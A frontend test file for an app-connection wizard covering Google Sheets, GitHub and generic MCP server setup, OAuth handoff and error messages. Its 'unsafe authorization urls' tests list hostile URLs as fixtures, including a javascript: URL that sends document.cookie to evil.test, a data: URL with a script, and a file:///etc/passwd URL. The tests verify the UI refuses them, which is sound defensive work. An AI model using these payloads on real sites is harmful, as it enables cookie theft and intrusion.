const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://www.example.com/actions",
|
||
name: "Bla for the organization",
|
||
applicationId: "app-77",
|
||
});
|
||
});
|
||
|
||
it("shows the Google Sheets robot email and keeps empty sheet links from continuing", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Share each sheet with this email");
|
||
expect(container.textContent).toContain("robot@paperclip.iam.gserviceaccount.com");
|
||
expect(container.textContent).toContain(
|
||
"In Google Sheets, click Share and add this email as an Editor. Then paste the sheet links below.",
|
||
);
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
});
|
||
|
||
it("shows inline validation for invalid Google Sheets links", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () => setTextareaValue(textarea!, "https://example.com/not-a-sheet"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("That doesn't look like a Google Sheets link.");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("gallery setup names the connection automatically", async () => {
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=github");
|
||
});
|
||
|
||
it("keeps the originating connection intent in wizard URLs", async () => {
|
||
const interactionId = "11111111-1111-4111-8111-111111111111";
|
||
mockSearch.value = `intent=${interactionId}`;
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(mockNavigate).toHaveBeenCalledWith(
|
||
`/apps/connect?source=github&intent=${interactionId}`,
|
||
);
|
||
|
||
await passAccessStep();
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("steps back from the single connect screen straight to Connectors", async () => {
|
||
mockSearch.value = "";
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
|
||
// PAP-659: there is no Access step to return to, so Back is a single hop
|
||
// out of the connector rather than a two-hop wizard retreat.
|
||
await act(async () => {
|
||
buttonByText("Back")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect?byo=1");
|
||
});
|
||
|
||
it("leaving the default name connects with the app name", async () => {
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "secret-key"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=github");
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({ galleryKey: "github", name: "GitHub for the organization" });
|
||
});
|
||
|
||
it("continues an exact credential-based draft instead of creating a replacement", async () => {
|
||
const connectionId = "33333333-3333-4333-8333-333333333333";
|
||
mockSearch.value = `source=github&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [GITHUB] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{ id: "app-github", status: "active", metadata: { sourceTemplateKey: "github" } }],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
applicationId: "app-github",
|
||
name: "Engineering GitHub for the organization",
|
||
authKind: "api_key",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "github", connectionMethodKey: "mcp-key" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
const keyField = container.querySelector<HTMLInputElement>("input[type=password]");
|
||
await act(async () => setInputValue(keyField!, "replacement-key"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
galleryKey: "github",
|
||
connectionMethodKey: "mcp-key",
|
||
resumeConnectionId: connectionId,
|
||
name: "Engineering GitHub for the organization",
|
||
credentialValues: { "credentials.authorization": "replacement-key" },
|
||
});
|
||
});
|
||
|
||
it("uses the Google Sheets app name automatically", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () =>
|
||
setTextareaValue(textarea!, "https://docs.google.com/spreadsheets/d/sheet_123/edit"),
|
||
);
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
galleryKey: "google-sheets",
|
||
name: "Google Sheets for the organization",
|
||
configValues: { allowedSpreadsheetIds: ["sheet_123"] },
|
||
});
|
||
});
|
||
|
||
it("passes parsed Google Sheets IDs as connection config values", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...GOOGLE_SHEETS, availability: { available: true, robotEmail: "robot@paperclip.iam.gserviceaccount.com" } },
|
||
],
|
||
});
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonContaining("Google Sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
buttonContaining("Share selected sheets")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
const textarea = container.querySelector<HTMLTextAreaElement>("textarea");
|
||
await act(async () =>
|
||
setTextareaValue(
|
||
textarea!,
|
||
"https://docs.google.com/spreadsheets/d/sheet_123/edit\nhttps://docs.google.com/spreadsheets/d/sheet_456",
|
||
)
|
||
);
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
galleryKey: "google-sheets",
|
||
configValues: { allowedSpreadsheetIds: ["sheet_123", "sheet_456"] },
|
||
});
|
||
});
|
||
});
|
||
|
||
/**
|
||
* PAP-17087 — the BYO URL card is now the guided universal flow. What matters is
|
||
* that the simple path stayed simple, that each failure mode names the thing the
|
||
* operator has to change, and that a pasted endpoint that needs sign-in actually
|
||
* gets there instead of a "coming soon" toast.
|
||
*/
|
||
describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => {
|
||
let container: HTMLDivElement;
|
||
let mountedRoot: Root | null;
|
||
|
||
beforeEach(() => {
|
||
mockSearch.value = "";
|
||
mockParams.appKey = undefined;
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mountedRoot = null;
|
||
listGalleryMock.mockResolvedValue({ apps: [ZAPIER] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
listAgentsMock.mockResolvedValue([]);
|
||
finishAppMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
startOAuthMock.mockResolvedValue(oauthStartResponse("conn-1", "mcp_example_test", "https://auth.example.test/authorize?state=abc"));
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
});
|
||
});
|
||
|
||
afterEach(async () => {
|
||
if (mountedRoot) {
|
||
await act(async () => mountedRoot?.unmount());
|
||
}
|
||
document.body.removeChild(container);
|
||
document.body.innerHTML = "";
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function render() {
|
||
const root = createRoot(container);
|
||
mountedRoot = root;
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<AppsConnect />
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
return root;
|
||
}
|
||
|
||
async function openAdvanced() {
|
||
await act(async () => {
|
||
buttonContaining("Advanced authentication")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
// Production branches on `error instanceof ApiError`, so the double has to be a
|
||
// real one — a look-alike would silently fall through to the generic message and
|
||
// make these tests pass for the wrong reason.
|
||
function apiError(status: number, code: string, message: string) {
|
||
return new ApiError(message, status, { error: message, details: { code } });
|
||
}
|
||
|
||
it("defaults the hidden connection name from host, port, and path", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "http://127.0.0.1:47399/mcp");
|
||
|
||
expect(container.querySelector("#generic-mcp-name")).toBeNull();
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
name: "127.0.0.1:47399/mcp for the organization",
|
||
});
|
||
});
|
||
|
||
it("keeps the endpoint host visible while skipping action review", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
|
||
expect(container.textContent).toContain("Unverified server");
|
||
expect(container.textContent).toContain("mcp.example.test");
|
||
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: {
|
||
readOnly: [{
|
||
catalogEntryId: "cat-read",
|
||
toolName: "list_things",
|
||
title: "List things",
|
||
description: null,
|
||
riskLevel: "read",
|
||
isReadOnly: true,
|
||
isWrite: false,
|
||
isDestructive: false,
|
||
status: "active",
|
||
}, {
|
||
catalogEntryId: "cat-search",
|
||
toolName: "search_things",
|
||
title: "Search things",
|
||
description: null,
|
||
riskLevel: "read",
|
||
isReadOnly: true,
|
||
isWrite: false,
|
||
isDestructive: false,
|
||
status: "active",
|
||
}],
|
||
canMakeChanges: [{
|
||
catalogEntryId: "cat-delete",
|
||
toolName: "qa_delete_widget",
|
||
title: null,
|
||
description: null,
|
||
riskLevel: "destructive",
|
||
isReadOnly: false,
|
||
isWrite: true,
|
||
isDestructive: true,
|
||
status: "active",
|
||
}],
|
||
},
|
||
catalog: [],
|
||
suggestedDefaults: { askFirstRiskLevels: [] },
|
||
});
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The completion summary states identity and reach once each, as three
|
||
// lines rather than badges, and still never lists the actions.
|
||
expect(container.textContent).toContain("mcp.example.test is ready.");
|
||
expect(container.textContent).toContain("Organization identity");
|
||
expect(container.textContent).toContain("Any agent");
|
||
expect(container.textContent).toContain("3 actions on");
|
||
expect(container.textContent).not.toContain("List things");
|
||
expect(container.querySelectorAll('[role="switch"]')).toHaveLength(0);
|
||
});
|
||
|
||
it("offers a curated setup as a convenience without leaving the generic flow", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.zapier.com/api/v1/connect?token=t");
|
||
|
||
// Both routes are present: the branded shortcut and the generic form itself.
|
||
expect(container.textContent).toContain("Paperclip has a guided setup for Zapier.");
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(buttonByText("Check link")).toBeTruthy();
|
||
});
|
||
|
||
it("explains a private-network address instead of blaming the key", async () => {
|
||
connectAppMock.mockRejectedValue(
|
||
apiError(400, "remote_http_private_endpoint", "Remote MCP connection URL cannot target private or reserved network addresses"),
|
||
);
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("That address is inside a private network");
|
||
// Still on the setup screen with the address in hand, not bounced back.
|
||
expect(buttonByText("Check link")).toBeTruthy();
|
||
});
|
||
|
||
it("explains an unreachable host", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(400, "remote_http_dns_failed", "hostname could not be resolved"));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("We couldn't find that host");
|
||
});
|
||
|
||
it("uses deployment guidance without rendering the server env-var message", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(
|
||
422,
|
||
"oauth_redirect_origin_unsupported",
|
||
"OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL",
|
||
));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This Paperclip needs a public HTTPS address first");
|
||
expect(container.textContent).not.toContain("PAPERCLIP_PUBLIC_URL");
|
||
});
|
||
|
||
it("does not ask the operator to resolve an internal name conflict", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(
|
||
409,
|
||
"tool_access_name_conflict",
|
||
"A tool access record with that name already exists",
|
||
));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Paperclip couldn’t name this connection");
|
||
expect(container.textContent).not.toContain("Choose a different name");
|
||
expect(container.querySelector("#generic-mcp-name")).toBeNull();
|
||
});
|
||
|
||
it("opens advanced authentication when the server wants a credential we can't discover", async () => {
|
||
connectAppMock.mockRejectedValue(apiError(502, "oauth_challenge", "This app needs you to sign in."));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server wants a credential");
|
||
// The advanced section is now open, so the fields to fix it are on screen.
|
||
expect(container.textContent).toContain("Custom headers");
|
||
expect(container.textContent).not.toContain("coming soon");
|
||
});
|
||
|
||
it("sends the operator to sign-in when the endpoint needs browser authorization", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc");
|
||
// Residual risk of a real-but-hostile authorization page: name the host the
|
||
// operator is being handed to (PAP-17099).
|
||
expect(container.textContent).toContain("auth.example.test");
|
||
});
|
||
|
||
// The curated flow has its own regression test for this. The generic flow is
|
||
// a separate two-step model with a separate override, so it needs its own —
|
||
// otherwise the waiting screen could quietly drop back to the curated
|
||
// single-step label here and nothing would catch it.
|
||
it("keeps the generic two-step model when a pasted endpoint hands off to sign-in", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
|
||
const stepsBeforeHandoff = stepLabelsOnScreen();
|
||
expect(stepsBeforeHandoff).toEqual(["Pick app", "Add your key"]);
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// Signing in must neither grow the stepper nor shrink it to the curated
|
||
// two-step set the pasted endpoint never walked.
|
||
expect(stepLabelsOnScreen()).toEqual(stepsBeforeHandoff);
|
||
expect(stepDotCount()).toBe(stepsBeforeHandoff.length);
|
||
});
|
||
|
||
it("exchanges a managed connect response in the tenant without opening Cloud confirmation", async () => {
|
||
const session = "managed_background_session_1234";
|
||
const request = vi.spyOn(globalThis, "fetch").mockImplementation(async (input) =>
|
||
input === "/cloud/connections/handoff"
|
||
? Response.json({ authorizationUrl: "https://provider.example.test/authorize?state=managed" })
|
||
: new Response(null, { status: 404 }));
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: {
|
||
kind: "oauth",
|
||
startUrl: "https://my.paperclip.app/connections/confirm?session=legacy",
|
||
handoff: { kind: "paperclip_cloud", session },
|
||
},
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
|
||
method: "POST",
|
||
body: JSON.stringify({ session }),
|
||
}));
|
||
await vi.waitFor(() => {
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://provider.example.test/authorize?state=managed",
|
||
);
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
|
||
});
|
||
|
||
/**
|
||
* PAP-17099 — a generic MCP server picks its own authorization endpoint, and
|
||
* `window.location.assign` is where an unsafe scheme would actually execute.
|
||
* The board refuses independently of the API response.
|
||
*/
|
||
describe("unsafe authorization urls", () => {
|
||
const UNSAFE = [
|
||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||
["file:", "file:///etc/passwd"],
|
||
["plaintext http", "http://evil.test/authorize"],
|
||
["credentials", "https://auth.example.test@evil.test/authorize"],
|
||
] as const;
|
||
|
||
it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("couldn’t connect");
|
||
// The refusal is explained without echoing the hostile address on screen.
|
||
expect(container.textContent).not.toContain(startUrl);
|
||
expect(container.textContent).toMatch(/sign-in address/);
|
||
});
|
||
|
||
it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
connection: { id: "conn-1", credentialPolicy: "shared", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock.mockResolvedValue(oauthStartResponse("conn-1", "mcp_example_test", authorizationUrl));
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", {
|
||
asCurrentUser: false,
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("couldn’t connect");
|
||
expect(container.textContent).not.toContain(authorizationUrl);
|
||
// Retry is still offered rather than a dead end.
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
});
|
||
});
|
||
|
||
it("asks for a preregistered client rather than losing the draft", async () => {
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "mcp.example.test" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null, manualClientRequired: true },
|
||
});
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server needs sign-in details you create yourself");
|
||
expect(container.textContent).toContain("Client ID");
|
||
expect(container.textContent).toContain("Client secret");
|
||
// No redirect happened: there is nothing to redirect to yet.
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("submits custom headers as secret-backed credential values", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
await act(async () => {
|
||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||
await act(async () => setInputValue(nameInput, "X-Api-Key"));
|
||
await flushReact();
|
||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.type === "password")!;
|
||
await act(async () => setInputValue(valueInput, "phx_secret"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://mcp.example.test/mcp",
|
||
authMode: "custom_headers",
|
||
credentialValues: { "headers.X-Api-Key": "phx_secret" },
|
||
});
|
||
});
|
||
|
||
it("blocks a header Paperclip refuses to send before making a request", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
await act(async () => {
|
||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||
await act(async () => setInputValue(nameInput, "Host"));
|
||
await flushReact();
|
||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.type === "password")!;
|
||
await act(async () => setInputValue(valueInput, "evil.example"));
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain('Paperclip manages the "Host" header');
|
||
expect(buttonByText("Check link")?.disabled).toBe(true);
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("sends preregistered client credentials when the operator supplies them", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
await act(async () => {
|
||
buttonByText("Browser sign-in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const clientIdInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-id")!;
|
||
await act(async () => setInputValue(clientIdInput, "operator-client"));
|
||
await flushReact();
|
||
const clientSecretInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-secret")!;
|
||
await act(async () => setInputValue(clientSecretInput, "operator-secret"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
authMode: "oauth",
|
||
oauthClient: { clientId: "operator-client", clientSecret: "operator-secret" },
|
||
});
|
||
});
|
||
|
||
it("keeps protocol jargon off the consumer path", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
|
||
for (const jargon of ["DCR", "Dynamic Client Registration", "CIMD", "Client ID Metadata", "RFC", "PKCE"]) {
|
||
expect(container.textContent, jargon).not.toContain(jargon);
|
||
}
|
||
});
|
||
});
|